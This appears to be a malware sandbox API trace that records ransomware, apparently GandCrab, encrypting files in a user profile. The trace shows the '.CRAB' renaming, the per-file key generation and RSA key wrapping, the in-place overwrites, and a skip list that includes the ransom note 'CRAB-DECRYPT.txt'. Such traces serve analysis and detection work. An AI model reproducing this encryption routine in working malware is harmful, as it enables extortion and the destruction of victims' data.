	[0123.780] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.780] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB"
	[0123.780] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB.CRAB"
	[0123.780] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e6b0) returned 1
	[0123.781] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.781] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.781] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0123.781] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0123.781] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.781] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0123.782] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.782] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.782] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.782] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0123.783] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.783] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.783] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.783] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.783] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0123.784] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166e20) returned 1
	[0123.784] CryptGetKeyParam (in: hKey=0x3166e20, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.784] CryptEncrypt (in: hKey=0x3166e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0123.785] GetLastError () returned 0x0
	[0123.785] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.785] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e738) returned 1
	[0123.785] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166ce0) returned 1
	[0123.785] CryptGetKeyParam (in: hKey=0x3166ce0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.785] CryptEncrypt (in: hKey=0x3166ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0123.786] GetLastError () returned 0x0
	[0123.786] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0123.786] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.786] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.786] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.787] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x333, lpOverlapped=0x0) returned 1
	[0123.830] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.846] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.847] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.847] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.847] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x340, lpOverlapped=0x0) returned 1
	[0123.847] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.848] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.852] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.852] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.852] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0123.852] CloseHandle (hObject=0x3e0) returned 1
	[0123.852] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.852] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.852] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.853] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.853] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.853] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.853] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0123.853] FindClose (in: hFindFile=0xded3e8 | out: hFindFile=0xded3e8) returned 1
	[0123.853] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0123.853] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.853] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.853] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\CRAB-DECRYPT.txt"
	[0123.854] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.854] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\CRAB-DECRYPT.txt") returned 79
	[0123.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\CRAB-DECRYPT.txt") returned 79
	[0123.854] lstrlenW (lpString=".txt") returned 4
	[0123.854] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.854] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.854] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\CRAB-DECRYPT.txt") returned 79
	[0123.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\CRAB-DECRYPT.txt") returned 79
	[0123.854] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.854] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.855] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.855] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.855] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0123.855] FindClose (in: hFindFile=0xded2e8 | out: hFindFile=0xded2e8) returned 1
	[0123.855] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0123.855] lstrcmpW (lpString1="profiles.ini", lpString2=".") returned 1
	[0123.855] lstrcmpW (lpString1="profiles.ini", lpString2="..") returned 1
	[0123.855] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini"
	[0123.855] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.855] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 66
	[0123.855] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 66
	[0123.855] lstrlenW (lpString=".ini") returned 4
	[0123.856] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.856] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0123.856] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 66
	[0123.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 66
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="desktop.ini") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="autorun.inf") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="ntuser.dat") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="iconcache.db") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="bootsect.bak") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="boot.ini") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="ntuser.dat.log") returned 1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="thumbs.db") returned -1
	[0123.856] lstrcmpiW (lpString1="profiles.ini", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.856] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.857] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB") returned 71
	[0123.857] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0x20
	[0123.857] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", dwFileAttributes=0x20) returned 1
	[0123.857] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.crab")) returned 1
	[0123.871] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.871] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB"
	[0123.872] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB.CRAB"
	[0123.872] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0123.872] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.873] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.873] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0123.873] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.873] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.873] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e7c0) returned 1
	[0123.873] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.874] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.874] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0123.874] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0123.874] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.874] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.874] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.875] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0123.875] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3166ee0) returned 1
	[0123.875] CryptGetKeyParam (in: hKey=0x3166ee0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0123.875] CryptEncrypt (in: hKey=0x3166ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0123.876] GetLastError () returned 0x0
	[0123.876] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.876] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0123.876] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3166b60) returned 1
	[0123.876] CryptGetKeyParam (in: hKey=0x3166b60, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0123.876] CryptEncrypt (in: hKey=0x3166b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0123.876] GetLastError () returned 0x0
	[0123.877] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.877] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0123.877] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.877] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.878] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x7a, lpOverlapped=0x0) returned 1
	[0123.891] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.892] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.892] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.892] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffff86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.892] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x80, lpOverlapped=0x0) returned 1
	[0123.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.893] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.896] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0123.897] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0123.902] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0123.902] CloseHandle (hObject=0x3f4) returned 1
	[0123.902] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.902] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.902] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.903] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.903] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.903] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.903] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0123.903] FindClose (in: hFindFile=0xded3a8 | out: hFindFile=0xded3a8) returned 1
	[0123.903] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0123.903] FindClose (in: hFindFile=0xded768 | out: hFindFile=0xded768) returned 1
	[0123.903] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0123.904] lstrcmpW (lpString1="nPCYwUf.odt", lpString2=".") returned 1
	[0123.904] lstrcmpW (lpString1="nPCYwUf.odt", lpString2="..") returned 1
	[0123.904] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="nPCYwUf.odt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt"
	[0123.904] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.904] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt") returned 49
	[0123.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt") returned 49
	[0123.904] lstrlenW (lpString=".odt") returned 4
	[0123.904] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.904] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".odt ") returned 5
	[0123.904] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt") returned 49
	[0123.905] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt") returned 49
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="desktop.ini") returned 1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="autorun.inf") returned 1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="ntuser.dat") returned -1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="iconcache.db") returned 1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="bootsect.bak") returned 1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="boot.ini") returned 1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="ntuser.dat.log") returned -1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="thumbs.db") returned -1
	[0123.905] lstrcmpiW (lpString1="nPCYwUf.odt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.905] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.905] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB") returned 54
	[0123.905] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\npcywuf.odt")) returned 0x20
	[0123.905] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt", dwFileAttributes=0x20) returned 1
